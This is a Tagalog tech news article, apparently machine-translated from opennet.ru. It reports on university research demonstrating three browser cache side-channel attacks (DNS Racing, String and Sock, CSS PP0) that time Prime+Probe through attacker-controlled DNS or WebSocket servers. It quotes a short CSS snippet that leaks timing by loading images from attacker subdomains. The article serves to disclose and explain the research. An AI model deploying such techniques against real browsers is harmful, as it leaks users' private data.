Ang pag-atake sa pagkuha ng cache ng CPU ay ipinatupad sa isang web browser na walang JavaScript

Ang isang pangkat ng mga mananaliksik mula sa ilang mga unibersidad sa Amerika, Israeli at Australia ay nakabuo ng tatlong pag-atake na tumatakbo sa mga web browser upang kunin ang impormasyon tungkol sa mga nilalaman ng cache ng processor. Gumagana ang isang paraan sa mga browser na walang JavaScript, at ang dalawa pang iba ay i-bypass ang mga umiiral nang paraan ng proteksyon laban sa mga pag-atake sa side-channel, kabilang ang mga ginagamit sa Tor browser at DeterFox. Ang code para sa pagpapakita ng mga pag-atake, pati na rin ang mga bahagi ng server na kinakailangan para sa mga pag-atake, ay na-publish sa GitHub.

Upang pag-aralan ang mga nilalaman ng cache, ang lahat ng mga pag-atake ay gumagamit ng Prime+Probe na pamamaraan, na kinabibilangan ng pagpuno sa cache ng isang karaniwang hanay ng mga halaga at pag-detect ng mga pagbabago sa pamamagitan ng pagsukat ng oras ng pag-access sa kanila kapag muling pinupunan ang mga ito. Upang i-bypass ang mga mekanismo ng seguridad na naroroon sa mga browser na nakakasagabal sa tumpak na pagsukat ng oras, sa dalawang opsyon, ang isang apela ay ginawa sa isang DNS o WebSocket server na kinokontrol ng attacker, na nagpapanatili ng isang log ng oras ng mga kahilingang natanggap. Sa isang embodiment, ang isang nakapirming DNS response time ay ginagamit bilang isang time reference.

Ang mga pagsukat na ginawa gamit ang mga panlabas na DNS o WebSocket server, gamit ang isang sistema ng pag-uuri batay sa machine learning, ay sapat upang mahulaan ang mga halaga na may katumpakan na hanggang 98% sa pinakamainam na senaryo (average na 80-90%). Ang mga paraan ng pag-atake ay nasubok sa iba't ibang mga platform ng hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) at napatunayang pangkalahatan.

Ang pag-atake sa pagkuha ng cache ng CPU ay ipinatupad sa isang web browser na walang JavaScript

Ang unang variant ng pag-atake ng DNS Racing ay gumagamit ng klasikong pagpapatupad ng Prime+Probe method gamit ang mga array ng JavaScript. Ang mga pagkakaiba ay bumagsak sa paggamit ng isang panlabas na DNS-based na timer at isang onerror handler, na nati-trigger kapag sinubukang mag-load ng isang imahe mula sa isang hindi umiiral na domain. Ang isang panlabas na timer ay nagbibigay-daan para sa isang Prime+Probe na pag-atake sa mga browser na naglilimita o ganap na hindi nagpapagana ng access sa mga JavaScript timer.

Para sa isang DNS server na matatagpuan sa parehong Ethernet network, ang katumpakan ng timer ay tinatantya na humigit-kumulang 2 ms, na sapat na para magsagawa ng side-channel attack (para sa paghahambing, ang katumpakan ng karaniwang JavaScript timer sa Tor Browser ay nabawasan sa 100 ms). Para sa pag-atake, ang kontrol sa DNS server ay hindi kinakailangan, dahil ang oras ng pagpapatupad ng operasyon ay pinili upang ang oras ng pagtugon mula sa DNS ay nagsisilbing tanda ng isang mas maagang pagkumpleto ng pagsusuri (depende sa kung ang onerror handler ay na-trigger mas maaga o mas bago, ang isang konklusyon ay iginuhit tungkol sa bilis ng pagpapatakbo ng tseke sa cache) .

Ang pangalawang paraan ng pag-atake, "String at Sock", ay naglalayong i-bypass ang mga diskarte sa seguridad na naghihigpit sa mababang antas ng paggamit ng mga array sa JavaScript. Sa halip na mga array, ang String at Sock ay gumagamit ng mga operasyon sa napakalaking mga string, ang laki nito ay pinili upang ang variable ay sumasakop sa buong LLC cache (Last level cache). Susunod, gamit ang indexOf() function, isang maliit na substring ang hahanapin sa string, na sa una ay wala sa source string, i.e. nagreresulta ang operasyon sa paghahanap sa pag-ulit sa buong string. Dahil ang laki ng linya ay tumutugma sa laki ng LLC cache, ang pag-scan ay nagbibigay-daan sa iyo na magsagawa ng operasyon ng pagsuri ng cache nang hindi minamanipula ang mga array. Upang sukatin ang mga pagkaantala, sa halip na DNS, ang isang tawag ay ginawa sa isang WebSocket server na kinokontrol ng umaatake - bago at pagkatapos makumpleto ang operasyon ng paghahanap, ang mga query ay ipinapadala sa linya, batay sa kung saan kinakalkula ng server ang pagkaantala na ginamit upang pag-aralan ang cache nilalaman.

Ang ikatlong variant ng "CSS PP0" na pag-atake ay ipinapatupad sa pamamagitan ng HTML at CSS, at maaaring gumana sa mga browser na hindi pinagana ang JavaScript. Ang pamamaraan ay katulad ng "String at Sock", ngunit hindi nakatali sa JavaScript. Sa panahon ng pag-atake, isang hanay ng mga tagapili ng CSS ang nabuo sa paghahanap na iyon sa pamamagitan ng mask. Ang paunang malaking string na pumupuno sa cache ay itinakda sa pamamagitan ng paggawa ng div tag na may napakalaking pangalan ng klase. Sa loob mayroong isang hanay ng iba pang mga div na may sariling mga pagkakakilanlan. Ang bawat isa sa mga nested div na ito ay may sariling istilo na may tagapili na naghahanap ng substring. Kapag nag-render ng page, sinusubukan muna ng browser na iproseso ang mga panloob na div, na nagreresulta sa isang operasyon sa paghahanap sa isang malaking row. Isinasagawa ang paghahanap gamit ang isang sadyang nawawalang mask at humahantong sa pag-ulit sa buong linya, pagkatapos nito ay na-trigger ang kundisyong "hindi" at sinubukang mag-load ng larawan sa background na tumutukoy sa mga random na domain: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(Β«https://qdlvibmr.helldomain.oy.ne.roΒ»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(Β«https://licfsdju.helldomain.oy.ne.roΒ»);} … X X ...

Ang mga subdomain ay inihahatid ng DNS server ng umaatake, na maaaring masukat ang mga pagkaantala sa pagtanggap ng mga kahilingan. Ang DNS server ay nag-isyu ng NXDOMAIN para sa lahat ng mga kahilingan at nagpapanatili ng isang log ng eksaktong oras ng mga kahilingan. Bilang resulta ng pagproseso ng isang set ng mga div, ang DNS server ng attacker ay tumatanggap ng isang serye ng mga kahilingan, ang mga pagkaantala sa pagitan ng kung saan ay nauugnay sa resulta ng pagsuri sa mga nilalaman ng cache.

Ang pag-atake sa pagkuha ng cache ng CPU ay ipinatupad sa isang web browser na walang JavaScript


Pinagmulan: opennet.ru

Magdagdag ng komento